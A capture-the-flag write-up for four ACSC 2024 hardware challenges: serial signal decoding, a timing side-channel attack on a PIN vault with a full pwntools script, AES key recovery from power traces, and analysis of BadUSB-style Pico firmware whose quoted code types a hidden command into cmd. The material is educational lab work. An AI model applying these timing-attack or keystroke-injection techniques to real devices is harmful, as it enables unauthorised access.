Hardware

ChallengeLink

An4lyz3_1t (50 pts)

Vault (150 pts)

PWR_Tr4ce (200 pts)

picopico (200 pts)

An4lyz3_1t (50 pts)

Description

Our surveillance team has managed to tap into a secret serial communication and capture a digital signal using a Saleae logic analyzer. Your objective is to decode the signal and uncover the hidden message.

Solution

Given .sal file, we can open it using Saleae Logic Analyzer.

It can be seen that only channel 4 has value, so the next step i do is trying to convert the digital signal to ascii value. Open analyzers and choose async serial. For the options, i bruteforce the value for Bit Rate using common Bit Rate values such as 9600, 19200, 38400, 57600, and 115200.

To show the data in ascii format, click the option and choose ascii

Export the data and got the flag.

Flag: ACSC{b4by4n4lyz3r_548e8c80e}

Vault (150 pts)

Description

Can you perform side-channel attack to this vault? The PIN is a 10-digit number.

  • Python3 is installed on remote.

  • nc vault.chal.2024.ctf.acsc.asia 9999

Solution

Given ELF file, open it using IDA.

It looks like basic input validation, so the program validate our input each byte and if correct it will call delay function.

Delay function make the program sleep for 100000 microsecond. So, to get valid input we can use side channel attack based on time processing. For each input i send it two times to make sure there is no invalid time caused by latency (choose the shortest time). Below is the script i used to solve the challenge.

from pwn import *
import string
import time

r = remote("vault.chal.2024.ctf.acsc.asia", 9999)
found = ["0" for _ in range(10)]
for i in range(10):
	longest = -1
	tmp_found = found[:]
	for j in string.digits:
		tmp_shortest = 999
		for _ in range(2):
			r.sendline(b"./chall")
			r.recvuntil(b"PIN: ")
			tmp_found[i] = j
			start = time.time()
			r.sendline(''.join(tmp_found).encode())
			r.recvline()
			end = time.time()
			span = end - start
			if span < tmp_shortest:
				tmp_shortest = span
		print(f"Check: {''.join(tmp_found)} -> {tmp_shortest}", longest)
		if tmp_shortest > longest:
			longest = tmp_shortest
			found = tmp_found[:]

print(f"Found: {''.join(found)}")
r.interactive()

Flag: ACSC{b377er_d3L4y3d_7h4n_N3v3r_b42fd3d840948f3e}

PWR_Tr4ce (200 pts)

Description

You've been given power traces and text inputs captured from a microcontroller running AES encryption. Your goal is to extract the encryption key.

EXPERIMENT SETUP

  • scope = chipwhisperer lite

  • target = stm32f3

  • AES key length = 16 bytes

Solution

Given two files with extension .npy (NumPy data file).

Through searching on google i found great reference about power analysis with the same case.

By reading the article (4.6), we found that we can get the key from those two files. Copy traces.npy and textins.npy to folder intro-power-analysis/src/aes/code/output. Then run multiple_bytes.py on directory intro-power-analysis/src/aes/code.

Flag: ACSC{Pwr!4n4lyz}

picopico (200 pts)

Description

Security personnel in our company have spotted a suspicious USB flash drive. They found a Raspberry Pi Pico board inside the case, but no flash drive board. Here's the firmware dump of the Raspberry Pi Pico board. Could you figure out what this 'USB flash drive' is for?

Solution

Given file firmware.bin, file command doesn't detect what kind of file is it.

So the next step i do is trying to do strings command on firmware.bin.

Looking at dump file, i found that there are some readable code.

At the end of dump file, i found interesting code that doesn't look like library code.

From the documentation i know that nvm is non volatile memory and we can fill the memory with whatever data we want. So lets analyze the code.

w=b"\x10\x53\x7f\x2b"
a=0x04
K=43 
if microcontroller.nvm[0:L(w)]!=w: # compare first L(w) bytes with w
 microcontroller.nvm[0:L(w)]=w # fill first L(w) bytes of nvm with w
 O=microcontroller.nvm[a:a+K] # get value from nvm, start at index a until index a+K
 h=microcontroller.nvm[a+K:a+K+K] # get value from nvm, start at index a+K until index a+K+K
 F=o((kb^fb for kb,fb in l(O,h))).decode("ascii") # xor values O and h
...
 C.write("cmd",delay=0.1)
...
 C.write(F,delay=0.1) # write xor result
...
  • O and h is value after w, w looks like a signature for the data

  • O and h has same size (K)

  • xor result executed in CMD

In this case, we only knew 4 bytes of value which looks like a signature. With assumption that firmware.bin consist all data including nvm data, i search next values (O and h) based on w then do xor algorithm for O and h. Below is script i used to solve the challenge.

a=0x04
K=43
w=b"\x10\x53\x7f\x2b"

f = open("firmware.bin", "rb").read()
index = f.index(w)
w = f[index:]

L=len
o=bytes
l=zip

O=w[a:a+K]
h=w[a+K:a+K+K]

F=o((kb^fb for kb,fb in l(O,h)))
print(F)

Flag: ACSC{349040c16c36fbba8c484b289e0dae6f}

Last updated